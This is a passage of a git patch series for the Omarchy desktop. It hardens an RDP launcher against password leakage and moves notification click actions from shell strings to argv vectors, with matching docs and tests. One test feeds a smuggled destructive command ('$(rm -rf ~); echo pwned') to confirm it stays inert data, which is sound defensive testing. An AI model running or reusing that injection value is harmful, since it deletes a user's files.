]] || + fail "every generated theme file is classified as code or colour" \ + "$generated has a template but is in neither list in $(basename "$0"); decide whether an installed theme may ship it" +done + +pass "every file Omarchy generates is classified as code or colour" From fa3f607705749692ecaf8c0d7aa806476d108b27 Mon Sep 17 00:00:00 2001 From: Paolo Pellicori Date: Sun, 23 Aug 2026 16:42:13 +0200 Subject: [PATCH 016/336] [Security] Keep the Windows VM password out of the RDP client's argument list MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `launch_windows` passed the VM password to xfreerdp3 as `/p:"$WIN_PASS"`. `/proc//cmdline` is world-readable, so every other user on the machine could read the password for as long as the session stayed open — `ps` was enough. The arguments now go in over stdin with `/args-from:stdin`, leaving only that flag in the process list. The argument list itself is unchanged, and building it as an array also fixes the unquoted `$RDP_SCALE` expansion. --- bin/omarchy-windows-vm | 27 +++++++++++++++++++++++++-- 1 file changed, 25 insertions(+), 2 deletions(-) diff --git a/bin/omarchy-windows-vm b/bin/omarchy-windows-vm index 793c1969..31d0230c 100755 --- a/bin/omarchy-windows-vm +++ b/bin/omarchy-windows-vm @@ -363,8 +363,31 @@ To stop: omarchy-windows-vm stop" fi # If scale is less than 130%, don't set any scale (use default 100) - # Connect with RDP in fullscreen (auto-detects resolution) - xfreerdp3 /u:"$WIN_USER" /p:"$WIN_PASS" /v:127.0.0.1:3389 -grab-keyboard /sound /microphone /clipboard /cert:ignore /title:"Windows VM - Omarchy" /dynamic-resolution /gfx:AVC444 /floatbar:sticky:off,default:visible,show:fullscreen $RDP_SCALE + RDP_ARGS=( + "/u:$WIN_USER" + "/p:$WIN_PASS" + /v:127.0.0.1:3389 + -grab-keyboard + /sound + /microphone + /clipboard + /cert:ignore + "/title:Windows VM - Omarchy" + /dynamic-resolution + /gfx:AVC444 + /floatbar:sticky:off,default:visible,show:fullscreen + ) + if [[ -n $RDP_SCALE ]]; then + RDP_ARGS+=("$RDP_SCALE") + fi + + # Connect with RDP in fullscreen (auto-detects resolution). The arguments go + # in over stdin rather than on the command line: /proc//cmdline is + # world-readable, so passing the VM password as /p:"$WIN_PASS" would show it + # to every other user on the machine for as long as the session is open. + # /args-from must stay the only argument here — FreeRDP rejects it outright + # when it is combined with any other, so new flags belong in RDP_ARGS above. + printf '%s\n' "${RDP_ARGS[@]}" | xfreerdp3 /args-from:stdin # After RDP closes, stop the container unless --keep-alive was specified if [[ $KEEP_ALIVE = "false" ]]; then From 07443f3970c8ebb5c7fb8fdb39d1123826addf0c Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 12:00:03 -0400 Subject: [PATCH 017/336] Run notification click actions as argv, not shell strings The click action of a notification was a free-form shell string run through `bash -lc`, safe only when every sender shell-quoted every interpolated value perfectly. One slip is RCE: a hostile yt-dlp video title forged an output record and injected an mpv option into the click command (mehmetince.net RCE, partially addressed by #7847). Add a parameterized transport: omarchy-notification-send gains --exec-arg (repeatable), encoding a JSON argv into the omarchy-exec-argv hint. The shell runs it with Quickshell.execDetached(argv) and no shell, so data an attacker controls is only ever one argument and can never be reparsed as a command. The shell fails closed on a malformed argv hint. The legacy free-form --exec string is retained but honored only from Omarchy's own omarchy-action toasts, and deprecated. Migrate all in-repo callers (screenshot, screen recording, taildrop receive, migrate-notify, crash-watch, yt-dlp host) to --exec-arg. Update docs and tests. --- bin/omarchy-capture-screenrecording | 2 +- bin/omarchy-capture-screenshot | 2 +- bin/omarchy-chromium-ytdlp-host | 10 ++-- bin/omarchy-crash-watch | 12 ++--- bin/omarchy-migrate-notify | 2 +- bin/omarchy-notification-send | 31 ++++++++++-- bin/omarchy-tailscale-receive | 2 +- docs/notifications.md | 31 ++++++++++-- shell/Commons/Util.qml | 8 ++++ .../notifications/NotificationLogic.js | 47 ++++++++++++++++++- shell/plugins/notifications/Service.qml | 21 +++++++-- test/shell.d/chromium-ytdlp-test.sh | 22 ++++----- test/shell.d/migrate-notify-test.sh | 5 +- test/shell.d/notification-send-test.sh | 28 +++++++++++ test/shell.d/notifications-test.sh | 32 +++++++++++++ test/shell.d/tailscale-receive-test.sh | 9 ++-- 16 files changed, 219 insertions(+), 45 deletions(-) diff --git a/bin/omarchy-capture-screenrecording b/bin/omarchy-capture-screenrecording index 7666e1e6..314363c0 100755 --- a/bin/omarchy-capture-screenrecording +++ b/bin/omarchy-capture-screenrecording @@ -228,7 +228,7 @@ stop_screenrecording() { omarchy-notification-send "Screen recording saved" "Open with Super + Alt + , (or click this)" \ -t 10000 --image "${preview:-$filename}" \ - --exec "$(printf 'mpv %q' "$filename")" + --exec-arg mpv --exec-arg -- --exec-arg "$filename" # The shell loads the thumbnail into memory when the toast appears and never # re-reads the file, so the preview only has to outlive that load -- not the diff --git a/bin/omarchy-capture-screenshot b/bin/omarchy-capture-screenshot index 8b2ac7d0..9dfd56a2 100755 --- a/bin/omarchy-capture-screenshot +++ b/bin/omarchy-capture-screenshot @@ -70,7 +70,7 @@ case "$PROCESSING" in # notification outage must not report the capture itself as failed. omarchy-notification-send "Screenshot saved to clipboard and file" "Edit with Super + Alt + , (or click this)" \ --image "$FILEPATH" \ - --exec "$(printf '%q %q' "$SCREENSHOT_EDITOR" "$FILEPATH")" || true + --exec-arg "$SCREENSHOT_EDITOR" --exec-arg "$FILEPATH" || true ;; copy) grim -g "$SELECTION" - | wl-copy --type image/png diff --git a/bin/omarchy-chromium-ytdlp-host b/bin/omarchy-chromium-ytdlp-host index ce50635a..fab6ce01 100755 --- a/bin/omarchy-chromium-ytdlp-host +++ b/bin/omarchy-chromium-ytdlp-host @@ -70,10 +70,10 @@ title_from_file() { fi } -# `--` keeps a path that starts with `-` from being parsed as an mpv option. -playback_command() { - printf 'mpv -- %q' "$1" -} +# The click action is passed to the shell as an argv vector (--exec-arg), so the +# path is one literal argument and never reaches a shell. `--` still guards mpv +# itself against parsing a leading-dash filename as an option. +playback_exec_args=(--exec-arg mpv --exec-arg -- --exec-arg) # Drive the Quickshell OSD — a single overlay that updates in place (like the # volume/brightness bar), so download progress never stacks like notifications. @@ -153,7 +153,7 @@ download_url() { # toast would exit before the thumbnail cleanup below is ever scheduled. omarchy-notification-send -g 󰄬 "Download complete" "$title" \ -t 10000 --image "${preview:-$filepath}" \ - --exec "$(playback_command "$filepath")" || true + "${playback_exec_args[@]}" "$filepath" || true # The shell loads the thumbnail into memory when the toast appears and never # re-reads the file, so the preview only has to outlive that load, not the diff --git a/bin/omarchy-crash-watch b/bin/omarchy-crash-watch index f58247a0..d3391af6 100755 --- a/bin/omarchy-crash-watch +++ b/bin/omarchy-crash-watch @@ -24,9 +24,7 @@ readonly ignore_pattern=${OMARCHY_CRASH_IGNORE:-} declare -A last_notified announce() { - local comm=$1 pid=$2 exe=$3 signal=$4 exec_command - - exec_command=$(printf 'omarchy-agent-crash %q %q %q %q' "$pid" "$comm" "$exe" "$signal") + local comm=$1 pid=$2 exe=$3 signal=$4 # The shell owns org.freedesktop.Notifications, so a shell crash takes the # notification server down with it and a toast sent into that gap is lost. @@ -34,13 +32,15 @@ announce() { # likely to be delivered is the one most worth reporting. omarchy-notification-wait || return 1 - # --exec rather than a libnotify action: the shell runs clicks from its own - # omarchy-exec hint and never emits ActionInvoked. Keeps the default + # --exec-arg rather than a libnotify action: the shell runs clicks from its own + # omarchy-exec-argv hint and never emits ActionInvoked. Keeps the default # "omarchy-action" app name too, the only one shouldBypassDnd() lets through. + # The argv form carries the crash details as literal arguments, so a hostile + # process name can't be reparsed as a command when the toast is clicked. omarchy-notification-send \ --urgency critical \ --glyph "$CRASH_GLYPH" \ - --exec "$exec_command" \ + --exec-arg omarchy-agent-crash --exec-arg "$pid" --exec-arg "$comm" --exec-arg "$exe" --exec-arg "$signal" \ "Process crashed: $comm" \ "Click to diagnose with AI" } diff --git a/bin/omarchy-migrate-notify b/bin/omarchy-migrate-notify index 0ee2e0b0..99215979 100755 --- a/bin/omarchy-migrate-notify +++ b/bin/omarchy-migrate-notify @@ -41,7 +41,7 @@ fi # The shell keeps the click command with the toast, so this oneshot can hand the # invitation over and exit instead of staying activated until it is answered. omarchy-notification-send -u critical -g  "Pending Omarchy Migrations" "$message" \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-migrate" && exit 0 + --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-migrate && exit 0 # Reached when the notification could not be handed off, so fall back to telling # the user in the terminal. diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 8a5851b8..84182472 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Send an Omarchy desktop notification -# omarchy:args=[--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] +# omarchy:args=[--exec-arg ]... [--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 set -euo pipefail @@ -13,6 +13,7 @@ urgency="low" app_name="omarchy-action" image= exec_command= +exec_args=() args=() parsed_option_args=0 @@ -63,6 +64,19 @@ parse_omarchy_option() { parsed_option_args=2 return 0 ;; + --exec-arg) + if (($# < 2)); then + echo "Missing value for $1" >&2 + exit 1 + fi + # Each --exec-arg contributes one literal argument to the click command. + # The shell runs the resulting argv vector directly (no shell), so callers + # pass untrusted data as its own --exec-arg rather than quoting it into a + # command string. Value is taken verbatim, even when it starts with "-". + exec_args+=("$2") + parsed_option_args=2 + return 0 + ;; esac return 1 @@ -77,7 +91,7 @@ while (($# > 0)); do done if (($# < 1)); then - echo "Usage: omarchy-notification-send [--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options]" + echo "Usage: omarchy-notification-send [--exec-arg ]... [--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options]" exit 1 fi @@ -112,7 +126,18 @@ fi # The shell runs the click command itself, from a copy it keeps alongside the # on-screen popup. A libnotify action would instead keep this process blocked # until the click, and die unanswered whenever the shell restarts underneath it. -if [[ -n $exec_command ]]; then +# +# --exec-arg builds an argv vector the shell runs directly, so a value carrying +# untrusted data is only ever one argument and never reaches a shell. It wins +# over the legacy free-form --exec string, which is run through `bash -lc` and +# is only safe when the caller quoted every interpolated value itself. +if ((${#exec_args[@]} > 0)); then + # NUL-delimit the args into jq so every byte survives as data — jq's own + # --args would eat a bare "--", and a title with a newline must stay one + # element, not split the vector. + exec_argv_json=$(printf '%s\0' "${exec_args[@]}" | jq -Rsc 'split("\u0000")[:-1]') + args+=("--hint=string:omarchy-exec-argv:$exec_argv_json") +elif [[ -n $exec_command ]]; then args+=("--hint=string:omarchy-exec:$exec_command") fi diff --git a/bin/omarchy-tailscale-receive b/bin/omarchy-tailscale-receive index 6da2b125..a2ff3809 100755 --- a/bin/omarchy-tailscale-receive +++ b/bin/omarchy-tailscale-receive @@ -72,7 +72,7 @@ announce() { # Announcing is best-effort: the file is already delivered, and under `set -e` # a notification outage would otherwise kill the long-running receiver. - omarchy-notification-send "${args[@]}" --exec "$(printf 'xdg-open %q' "$path")" || true + omarchy-notification-send "${args[@]}" --exec-arg xdg-open --exec-arg "$path" || true } deliver() { diff --git a/docs/notifications.md b/docs/notifications.md index c2eba6d9..9e181aca 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -69,7 +69,8 @@ notify-send arguments and passes any unrecognized options through: | Flag | Becomes | Meaning | |---|---|---| | `-g` / `--glyph` | `--hint=string:omarchy-glyph:` | Nerd Font glyph for the icon slot when no image icon resolves | -| `--exec` | `--hint=string:omarchy-exec:` | shell command the card runs when clicked | +| `--exec-arg` (repeatable) | `--hint=string:omarchy-exec-argv:` | one literal argument of the click command; the collected args become a JSON argv the shell runs without a shell | +| `--exec` | `--hint=string:omarchy-exec:` | legacy free-form shell command the card runs when clicked (deprecated — see below) | | `--image` | `--hint=string:image-path:` | the standard freedesktop image hint | | `--app-name` | `-a` | defaults to `omarchy-action` | | `-u` / `--urgency` | `-u` | defaults to `low` | @@ -78,9 +79,9 @@ The defaults are the point: an unadorned `omarchy-notification-send "Done"` is a low-urgency user-action toast that pops through DND and is treated as ephemeral noise when silenced. -`--exec` is deliberately not a libnotify action. An action keeps the sender -blocked waiting for `ActionInvoked`, and dies unanswered whenever the shell -restarts underneath it — the installer toasts restart the shell as their +The click command is deliberately not a libnotify action. An action keeps the +sender blocked waiting for `ActionInvoked`, and dies unanswered whenever the +shell restarts underneath it — the installer toasts restart the shell as their first act. Carrying the command as a hint means the shell executes the click itself (detached, so the command outlives the shell process) from the copy it keeps with the popup, which the persistence files preserve: a restored toast @@ -90,6 +91,25 @@ immediately. For third-party clients the click falls back to the libnotify window by class via `omarchy-hyprland-focus-app` — chat apps rarely register an action and just expect click-to-jump. +### Click commands must be argv, not shell strings + +Prefer `--exec-arg` for every click command. Each `--exec-arg` contributes one +literal argument; the shell runs the resulting vector with +`Quickshell.execDetached(argv)` and **no shell**, so a value carrying data an +attacker controls — a downloaded video's title, a received filename, a crashed +process's name — is only ever a single argument and can never be reparsed as a +command. This is the parameterized form: pass untrusted data as its own +`--exec-arg` rather than quoting it into a string. + +`--exec` is the legacy free-form variant, run through `bash -lc`. It is safe +only when the caller shell-quoted every interpolated value perfectly — the same +trap as string-concatenated SQL, and the exact shape of the yt-dlp title RCE +that motivated the argv form. It is retained for compatibility and honored only +from toasts whose `app_name` is Omarchy's own `omarchy-action`; new senders must +use `--exec-arg`. The shell fails closed on a malformed argv hint (it must be a +JSON array of strings whose program is present and not a leading-dash option) +rather than letting it fall through to a shell. + ## Helper commands - `omarchy-notification-wait [timeout]` — polls until the shell answers IPC @@ -114,7 +134,8 @@ Everything goes through the same sender contract, so the pieces are small: `battery-low` hook. - **Crash capture** — `omarchy-crash-watch` follows the systemd-coredump journal stream and announces each crashed program (deduped per minute) as a - critical toast whose `--exec` runs `omarchy-agent-crash`. It waits for the + critical toast whose click runs `omarchy-agent-crash` (via `--exec-arg`, so a + hostile process name stays a literal argument). It waits for the server first: a shell crash takes the notification server down with it, and that crash is the one most worth reporting. - **Pending migrations** — `omarchy-migrate-notify` (from its user service diff --git a/shell/Commons/Util.qml b/shell/Commons/Util.qml index 3d5a1f8e..64dac606 100644 --- a/shell/Commons/Util.qml +++ b/shell/Commons/Util.qml @@ -54,6 +54,14 @@ QtObject { Quickshell.execDetached(["bash", "-lc", command]) } + // Run an argv vector directly, without a shell. Nothing in the array is + // reparsed, so an argument carrying attacker-controlled data (a filename, a + // title) can never turn into a command. Prefer this over execDetached for any + // command assembled from untrusted input. + function execArgv(argv) { + Quickshell.execDetached(argv) + } + function isPlainObject(value) { return value !== null && typeof value === "object" && !Array.isArray(value) } diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index 1d2ebd43..1229a37b 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -63,10 +63,51 @@ function glyphFromHints(hints) { // after a shell restart clicks through exactly like a live one. A libnotify // action can't: its sender is still waiting on an id from a server generation // that no longer exists. +// +// This is a free-form shell string run through `bash -lc`, so it is safe only +// when every value interpolated into it was shell-quoted perfectly. It is kept +// for compatibility and honored only from Omarchy's own trusted toasts (see +// Service.invokePopupDefault); new senders use --exec-arg / the argv form +// below, which never reaches a shell. function execFromHints(hints) { return stringHint(hints, "omarchy-exec") } +// The click action as an argv vector, sent by omarchy-notification-send +// --exec-arg and carried as a JSON array string in the omarchy-exec-argv hint. +// The shell runs it with Quickshell.execDetached (no shell), so a value that an +// attacker controls — a video title, a filename, a URL — is only ever one +// argument and can never be reparsed as a command. This is the parameterized +// form: the "prepared statement" to execFromHints's string concatenation. +function execArgvFromHints(hints) { + return stringHint(hints, "omarchy-exec-argv") +} + +// Validate a persisted omarchy-exec-argv value into an argv the shell may run, +// or null for anything that is not one. A malformed or hostile hint must fail +// closed here rather than fall through to a shell: we require a JSON array of +// strings, non-empty, whose first element (the program) is present and does not +// start with "-" (which would let a forged record smuggle in a leading-dash +// option in the program slot). +function parseExecArgv(value) { + var text = String(value || "") + if (!text) return null + + var parsed + try { + parsed = JSON.parse(text) + } catch (e) { + return null + } + + if (!Array.isArray(parsed) || parsed.length === 0) return null + for (var i = 0; i < parsed.length; i++) { + if (typeof parsed[i] !== "string") return null + } + if (!parsed[0] || parsed[0].charAt(0) === "-") return null + return parsed +} + function shouldRenderCompactGlyph(glyph, iconSource, singleLineToast) { return String(glyph || "").length > 0 && String(iconSource || "").length === 0 && !!singleLineToast } @@ -86,6 +127,7 @@ function snapshotOf(notification, timestamp) { image: n.image || "", glyph: glyphFromHints(n.hints), exec: execFromHints(n.hints), + execArgv: execArgvFromHints(n.hints), urgency: n.urgency, expireTimeout: expireTimeout, timestamp: timestamp === undefined ? Date.now() : timestamp @@ -94,7 +136,7 @@ function snapshotOf(notification, timestamp) { // Everything the popup card draws, and therefore everything an in-place // update has to write through to the row and its file. -var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "exec", "urgency", "expireTimeout"] +var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "exec", "execArgv", "urgency", "expireTimeout"] function popupRoles() { return POPUP_ROLES @@ -137,6 +179,7 @@ function historyEntry(value, normalUrgency) { image: e.image || "", glyph: e.glyph || "", exec: e.exec || "", + execArgv: e.execArgv || "", urgency: typeof e.urgency === "number" ? e.urgency : normalUrgency, expireTimeout: 0, timestamp: e.timestamp || 0 @@ -347,6 +390,8 @@ if (typeof module !== "undefined") { stringHint: stringHint, glyphFromHints: glyphFromHints, execFromHints: execFromHints, + execArgvFromHints: execArgvFromHints, + parseExecArgv: parseExecArgv, shouldRenderCompactGlyph: shouldRenderCompactGlyph, snapshotOf: snapshotOf, popupRoles: popupRoles, diff --git a/shell/plugins/notifications/Service.qml b/shell/plugins/notifications/Service.qml index 88ad0544..5df3e96c 100644 --- a/shell/plugins/notifications/Service.qml +++ b/shell/plugins/notifications/Service.qml @@ -360,10 +360,25 @@ Item { function invokePopupDefault(index) { if (index < 0 || index >= popupModel.count) return var entry = popupModel.get(index) + + // Preferred path: an argv vector run without a shell, so data an attacker + // controls (a video title, a filename) is only ever an argument and can + // never be reparsed as a command. Detached so it outlives the shell, which + // the installer toasts depend on: they restart the shell as their first act. + var argv = NotificationLogic.parseExecArgv(entry ? entry.execArgv : "") + if (argv) { + Util.execArgv(argv) + dismissPopup(index) + return + } + + // Legacy free-form shell exec (deprecated). It runs through `bash -lc`, so + // it is only as safe as the sender's quoting — honored solely from + // Omarchy's own trusted toasts. app_name is spoofable, so this is a + // compatibility courtesy, not a security boundary; new callers use the argv + // form above. var command = entry ? String(entry.exec || "") : "" - if (command) { - // Detached so the launched command outlives the shell process, which the - // installer toasts depend on: they restart the shell as their first act. + if (command && String(entry.app || "") === "omarchy-action") { Util.execDetached(command) dismissPopup(index) return diff --git a/test/shell.d/chromium-ytdlp-test.sh b/test/shell.d/chromium-ytdlp-test.sh index 4989df76..7b4ae512 100755 --- a/test/shell.d/chromium-ytdlp-test.sh +++ b/test/shell.d/chromium-ytdlp-test.sh @@ -131,15 +131,13 @@ dash_title=$(host_fn title_from_file "$download_dir/--include.mp4") [[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to notify-send" "$dash_title" pass "yt-dlp native host does not pass a leading-dash title to notify-send" -cmd=$(host_fn playback_command --include=not-a-file) -[[ $cmd == "mpv -- --include=not-a-file" ]] || - fail "yt-dlp native host runs mpv with -- before the path" "$cmd" -pass "yt-dlp native host runs mpv with -- before the path" - -spaced_cmd=$(host_fn playback_command "$download_dir/a b.mp4") -[[ $spaced_cmd == "mpv -- $download_dir/a\\ b.mp4" ]] || - fail "yt-dlp native host shell-quotes the mpv path" "$spaced_cmd" -pass "yt-dlp native host shell-quotes the mpv path" +# The click action is an argv vector the shell runs without a shell, so the path +# is a literal --exec-arg rather than a value quoted into a command string. The +# prefix is static; `--` keeps mpv from parsing a leading-dash filename. +playback_argv=$(host_fn eval 'printf "%s\n" "${playback_exec_args[@]}"') +[[ $playback_argv == $'--exec-arg\nmpv\n--exec-arg\n--\n--exec-arg' ]] || + fail "yt-dlp native host runs mpv with -- before the path as argv" "$playback_argv" +pass "yt-dlp native host runs mpv with -- before the path as argv" parse_script="$TMPDIR/parse-ytdlp-lines.sh" cat >"$parse_script" <<'EOF' @@ -234,9 +232,9 @@ grep -qF -- $'OMARCHY_FILE\t%(title)s' "$ytdlp_argv" && fail "yt-dlp native host never prints the title into the file record" "$(cat "$ytdlp_argv")" pass "yt-dlp native host never prints the title into the file record" -grep -q -- "--exec mpv -- " "$notify_argv" || - fail "yt-dlp native host builds the click command as mpv -- " "$(cat "$notify_argv")" -pass "yt-dlp native host builds the click command as mpv -- " +grep -q -- "--exec-arg mpv --exec-arg -- --exec-arg " "$notify_argv" || + fail "yt-dlp native host builds the click command as an mpv -- argv" "$(cat "$notify_argv")" +pass "yt-dlp native host builds the click command as an mpv -- argv" grep -qF -- "Download complete My Great Clip" "$notify_argv" || fail "yt-dlp native host toasts the page title, not the sanitised filename" "$(cat "$notify_argv")" diff --git a/test/shell.d/migrate-notify-test.sh b/test/shell.d/migrate-notify-test.sh index 8114e6d9..10e46959 100644 --- a/test/shell.d/migrate-notify-test.sh +++ b/test/shell.d/migrate-notify-test.sh @@ -158,8 +158,9 @@ exec {foreign_lock_fd}>&- rm -f "$test_tmp/notify-args" run_notify 1 >/dev/null 2>&1 notify_args_written || fail "migration notifier sends the notification before exiting" -grep -Fx -- '--exec' "$test_tmp/notify-args" >/dev/null || +grep -Fx -- '--exec-arg' "$test_tmp/notify-args" >/dev/null || fail "migration notifier attaches the click command to the toast" -grep -Fx 'omarchy-launch-floating-terminal-with-presentation omarchy-migrate' "$test_tmp/notify-args" >/dev/null || +grep -Fx 'omarchy-launch-floating-terminal-with-presentation' "$test_tmp/notify-args" >/dev/null && + grep -Fx 'omarchy-migrate' "$test_tmp/notify-args" >/dev/null || fail "migration notifier points the click command at omarchy-migrate" pass "migration notifier lets the shell own the click instead of waiting for it" diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index e754bb6e..d93682a4 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -49,3 +49,31 @@ if OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ fail "notification wrapper rejects --exec without a command" fi pass "notification wrapper rejects --exec without a command" + +# --exec-arg builds an argv vector encoded as a JSON array, so shell +# metacharacters in a value are carried as data, never as a command. The shell +# runs this argv directly (no shell), which is what keeps a hostile title or +# filename from becoming code when the toast is clicked. +: >"$args_file" +OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ + omarchy-notification-send --exec-arg mpv --exec-arg -- --exec-arg '$(rm -rf ~); echo pwned' \ + "Download complete" >/dev/null + +argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") +argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} +[[ $(jq -r '.[0]' <<<"$argv_json") == "mpv" ]] || fail "notification wrapper puts the program first in the exec argv" +[[ $(jq -r '.[1]' <<<"$argv_json") == "--" ]] || fail "notification wrapper preserves a -- separator in the exec argv" +[[ $(jq -r '.[2]' <<<"$argv_json") == '$(rm -rf ~); echo pwned' ]] || + fail "notification wrapper carries shell metacharacters as literal argv data" "$argv_json" +grep -q "omarchy-exec:" "$args_file" && fail "notification wrapper emits no legacy exec string when --exec-arg is used" +pass "notification wrapper encodes --exec-arg as a literal JSON argv vector" + +# The argv form is the safe one, so it wins when a caller supplies both. +: >"$args_file" +OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ + omarchy-notification-send --exec 'legacy string' --exec-arg xdg-open --exec-arg /tmp/file \ + "Headline" >/dev/null + +grep -q -- "--hint=string:omarchy-exec-argv:" "$args_file" || fail "notification wrapper emits the argv hint when both exec forms are given" +grep -q -- "--hint=string:omarchy-exec:" "$args_file" && fail "notification wrapper drops the legacy exec string in favor of argv" +pass "notification wrapper prefers the argv exec form over the legacy string" diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh index 49a4bcd2..32df818e 100644 --- a/test/shell.d/notifications-test.sh +++ b/test/shell.d/notifications-test.sh @@ -49,6 +49,38 @@ assert(!notifications.shouldBypassDnd({ appName: 'Slack', urgency: 2 }, 2), 'cri assert(!notifications.shouldBypassDnd({ appName: 'omarchy-menu-keybindings', urgency: 1 }, 2), 'omarchy command app names do not bypass DND') assert(!notifications.isEphemeralApp('omarchy-menu-keybindings'), 'notifications treat omarchy command app names as normal apps') +// The click action's argv form: parsed from the persisted omarchy-exec-argv +// JSON only when it is a non-empty array of strings whose program is present +// and not a leading-dash option. Everything else fails closed so a malformed or +// hostile hint can never fall through to a shell. +assertDeepEqual( + notifications.parseExecArgv('["mpv","--","/home/me/a b.mp4"]'), + ['mpv', '--', '/home/me/a b.mp4'], + 'notifications parse a valid exec argv vector' +) +assertEqual(notifications.parseExecArgv(''), null, 'notifications reject an empty exec argv hint') +assertEqual(notifications.parseExecArgv('not json'), null, 'notifications reject a non-JSON exec argv hint') +assertEqual(notifications.parseExecArgv('"mpv"'), null, 'notifications reject an exec argv hint that is not an array') +assertEqual(notifications.parseExecArgv('[]'), null, 'notifications reject an empty exec argv array') +assertEqual(notifications.parseExecArgv('["mpv",5]'), null, 'notifications reject a non-string element in the exec argv') +assertEqual(notifications.parseExecArgv('["--include=x","y"]'), null, 'notifications reject a leading-dash program in the exec argv') +assertEqual(notifications.parseExecArgv('["",""]'), null, 'notifications reject an empty program in the exec argv') + +// The argv vector rides on the snapshot as the raw JSON string, so the model's +// value comparison stays a plain string compare and the file round-trip is +// lossless. +const execSnapshot = notifications.snapshotOf({ + id: 3, + appName: 'omarchy-action', + summary: 'Download complete', + hints: { 'omarchy-exec-argv': '["mpv","--","/tmp/clip.mp4"]' } +}, 1) +assertEqual( + execSnapshot.execArgv, + '["mpv","--","/tmp/clip.mp4"]', + 'notifications carry the exec argv hint onto the snapshot' +) + assertDeepEqual( notifications.popupPlacement('top', 32, 6), { diff --git a/test/shell.d/tailscale-receive-test.sh b/test/shell.d/tailscale-receive-test.sh index a3d45976..97557186 100644 --- a/test/shell.d/tailscale-receive-test.sh +++ b/test/shell.d/tailscale-receive-test.sh @@ -62,11 +62,12 @@ pass "taildrop receive announces other files with a glyph" # The shell keeps the click command with the toast, so receiving does not have # to sit blocked on an answer -- and the toast still opens the file after a shell -# restart. Names with spaces have to arrive quoted for the shell to run them. -grep -qF -- "--exec xdg-open $downloads/photo.png" <<<"$notifications" || +# restart. The path rides as its own --exec-arg, so the shell runs it as literal +# data with no quoting for a name with spaces to get wrong. +grep -qF -- "--exec-arg xdg-open --exec-arg $downloads/photo.png" <<<"$notifications" || fail "taildrop receive attaches the open command to the notification" "$notifications" -grep -qF -- "--exec xdg-open $(printf %q "$downloads/notes with space.pdf")" <<<"$notifications" || - fail "taildrop receive quotes spaced names in the open command" "$notifications" +grep -qF -- "--exec-arg xdg-open --exec-arg $downloads/notes with space.pdf" <<<"$notifications" || + fail "taildrop receive carries spaced names as a literal open argument" "$notifications" pass "taildrop receive lets a click open the received file" grep -q "unrelated.txt" <<<"$notifications" && From d2fd2e11c630f746126fcb0670c483db200b9ad5 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 12:25:48 -0400 Subject: [PATCH 018/336] Run argv click actions through a login shell as positional params MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Quickshell.execDetached(argv) ran the click target with only the shell process's stripped environment, so GUI actions like the screenshot editor (tensaku-edit) — resolved on the login-shell PATH the old `bash -lc` string exec provided — stopped launching on click. Run the argv through `bash -lc 'exec "$@"'` instead: the script text is a constant and the arguments are passed as positional parameters, which bash expands without re-tokenizing or re-evaluating, so injection safety is intact while PATH and session env match the old behavior exactly. --- docs/notifications.md | 16 ++++++++++------ shell/Commons/Util.qml | 15 ++++++++++----- shell/plugins/notifications/NotificationLogic.js | 3 ++- shell/plugins/notifications/Service.qml | 9 +++++---- 4 files changed, 27 insertions(+), 16 deletions(-) diff --git a/docs/notifications.md b/docs/notifications.md index 9e181aca..e4b7da26 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -94,12 +94,16 @@ an action and just expect click-to-jump. ### Click commands must be argv, not shell strings Prefer `--exec-arg` for every click command. Each `--exec-arg` contributes one -literal argument; the shell runs the resulting vector with -`Quickshell.execDetached(argv)` and **no shell**, so a value carrying data an -attacker controls — a downloaded video's title, a received filename, a crashed -process's name — is only ever a single argument and can never be reparsed as a -command. This is the parameterized form: pass untrusted data as its own -`--exec-arg` rather than quoting it into a string. +literal argument; the shell runs the resulting vector through +`Util.execArgv`, which invokes `bash -lc 'exec "$@"'` with the arguments as +**positional parameters** — never interpolated into the script text. bash +expands `"$@"` without re-tokenizing or re-evaluating it, so a value carrying +data an attacker controls — a downloaded video's title, a received filename, a +crashed process's name — is only ever a single argument and can never be +reparsed as a command. The login shell keeps the PATH and session environment +that GUI click targets (the screenshot editor, mpv, xdg-open) expect. This is +the parameterized form: pass untrusted data as its own `--exec-arg` rather than +quoting it into a string. `--exec` is the legacy free-form variant, run through `bash -lc`. It is safe only when the caller shell-quoted every interpolated value perfectly — the same diff --git a/shell/Commons/Util.qml b/shell/Commons/Util.qml index 64dac606..e3553ae8 100644 --- a/shell/Commons/Util.qml +++ b/shell/Commons/Util.qml @@ -54,12 +54,17 @@ QtObject { 